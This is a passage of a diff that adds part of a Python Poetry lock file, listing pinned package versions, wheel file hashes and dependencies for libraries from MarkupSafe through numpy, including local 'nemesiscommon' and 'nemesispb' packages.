+ {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-win32.whl", hash = "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-win_amd64.whl", hash = "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed"},
+ {file = "MarkupSafe-2.1.2.tar.gz", hash = "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d"},
+]
+
+[[package]]
+name = "mccabe"
+version = "0.7.0"
+description = "McCabe checker, plugin for flake8"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
+ {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "multidict"
+version = "6.0.4"
+description = "multidict implementation"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"},
+ {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"},
+ {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"},
+ {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"},
+ {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"},
+ {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"},
+ {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"},
+ {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"},
+ {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"},
+ {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"},
+ {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"},
+ {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"},
+ {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"},
+]
+
+[[package]]
+name = "multivolumefile"
+version = "0.2.3"
+description = "multi volume file wrapper library"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678"},
+ {file = "multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "pygments", "readme-renderer", "twine"]
+test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "hypothesis", "pyannotate", "pytest", "pytest-cov"]
+type = ["mypy", "mypy-extensions"]
+
+[[package]]
+name = "mypy"
+version = "0.971"
+description = "Optional static typing for Python"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"},
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"},
+ {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"},
+ {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"},
+ {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"},
+ {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"},
+ {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"},
+ {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"},
+ {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"},
+ {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"},
+ {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"},
+ {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"},
+ {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"},
+ {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"},
+ {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"},
+ {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"},
+ {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"},
+ {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"},
+ {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.4.3"
+typing-extensions = ">=3.10"
+
+[package.extras]
+dmypy = ["psutil (>=4.0)"]
+python2 = ["typed-ast (>=1.4.0,<2)"]
+reports = ["lxml"]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+category = "dev"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+ {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "mypy-protobuf"
+version = "3.4.0"
+description = "Generate mypy stub files from protobuf specs"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"},
+ {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"},
+]
+
+[package.dependencies]
+protobuf = ">=4.21.8"
+types-protobuf = ">=3.20.4"
+
+[[package]]
+name = "nemesiscommon"
+version = "0.2.2"
+description = "Common nemesis helper functions"
+category = "main"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+aio-pika = "^8.3.0"
+aioboto3 = "^10.4.0"
+boto3 = "^1.24.59"
+pycryptodomex = "^3.15.0"
+pydantic = "^1.10.4"
+pyyaml = "^6.0"
+requests = "^2.28.1"
+rich = "^13.3.3"
+structlog = "^23.1.0"
+tenacity = "^8.0.1"
+typing-extensions = "^4.4.0"
+yara-python = "^4.3.0"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesiscommon"
+
+[[package]]
+name = "nemesispb"
+version = "0.1.0"
+description = "Nemesis python protobuf"
+category = "main"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+mypy-protobuf = "^3.4.0"
+protobuf = "^4.21.5"
+
+[package.source]
+type = "directory"
+url = "../../packages/python/nemesispb"
+
+[[package]]
+name = "nltk"
+version = "3.8.1"
+description = "Natural Language Toolkit"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"},
+ {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"},
+]
+
+[package.dependencies]
+click = "*"
+joblib = "*"
+regex = ">=2021.8.3"
+tqdm = "*"
+
+[package.extras]
+all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"]
+corenlp = ["requests"]
+machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"]
+plot = ["matplotlib"]
+tgrep = ["pyparsing"]
+twitter = ["twython"]
+
+[[package]]
+name = "nodeenv"
+version = "1.7.0"
+description = "Node.js virtual environment builder"
+category = "dev"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*"
+files = [
+ {file = "nodeenv-1.7.0-py2.py3-none-any.whl", hash = "sha256:27083a7b96a25f2f5e1d8cb4b6317ee8aeda3bdd121394e5ac54e498028a042e"},
+ {file = "nodeenv-1.7.0.tar.gz", hash = "sha256:e0e7f7dfb85fc5394c6fe1e8fa98131a2473e04311a45afb6508f7cf1836fa2b"},
+]
+
+[package.dependencies]
+setuptools = "*"
+
+[[package]]
+name = "numpy"
+version = "1.24.3"
+description = "Fundamental package for array computing in Python"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "numpy-1.24.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3c1104d3c036fb81ab923f507536daedc718d0ad5a8707c6061cdfd6d184e570"},
+ {file = "numpy-1.24.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:202de8f38fc4a45a3eea4b63e2f376e5f2dc64ef0fa692838e31a808520efaf7"},
+ {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8535303847b89aa6b0f00aa1dc62867b5a32923e4d1681a35b5eef2d9591a463"},
+ {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d926b52ba1367f9acb76b0df6ed21f0b16a1ad87c6720a1121674e5cf63e2b6"},
+ {file = "numpy-1.24.3-cp310-cp310-win32.whl", hash = "sha256:f21c442fdd2805e91799fbe044a7b999b8571bb0ab0f7850d0cb9641a687092b"},
+ {file = "numpy-1.24.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab5f23af8c16022663a652d3b25dcdc272ac3f83c3af4c02eb8b824e6b3ab9d7"},
+ {file = "numpy-1.24.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9a7721ec204d3a237225db3e194c25268faf92e19338a35f3a224469cb6039a3"},
+ {file = "numpy-1.24.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cc757de514c00b24ae8cf5c876af2a7c3df189028d68c0cb4eaa9cd5afc2bf"},
+ {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76e3f4e85fc5d4fd311f6e9b794d0c00e7002ec122be271f2019d63376f1d385"},
+ {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d3c026f57ceaad42f8231305d4653d5f05dc6332a730ae5c0bea3513de0950"},
+ {file = "numpy-1.24.3-cp311-cp311-win32.whl", hash = "sha256:c91c4afd8abc3908e00a44b2672718905b8611503f7ff87390cc0ac3423fb096"},
+ {file = "numpy-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:5342cf6aad47943286afa6f1609cad9b4266a05e7f2ec408e2cf7aea7ff69d80"},
+ {file = "numpy-1.24.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7776ea65423ca6a15255ba1872d82d207bd1e09f6d0894ee4a64678dd2204078"},
+ {file = "numpy-1.24.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ae8d0be48d1b6ed82588934aaaa179875e7dc4f3d84da18d7eae6eb3f06c242c"},
+ {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecde0f8adef7dfdec993fd54b0f78183051b6580f606111a6d789cd14c61ea0c"},
+ {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4749e053a29364d3452c034827102ee100986903263e89884922ef01a0a6fd2f"},
+ {file = "numpy-1.24.3-cp38-cp38-win32.whl", hash = "sha256:d933fabd8f6a319e8530d0de4fcc2e6a61917e0b0c271fded460032db42a0fe4"},
+ {file = "numpy-1.24.3-cp38-cp38-win_amd64.whl", hash = "sha256:56e48aec79ae238f6e4395886b5eaed058abb7231fb3361ddd7bfdf4eed54289"},
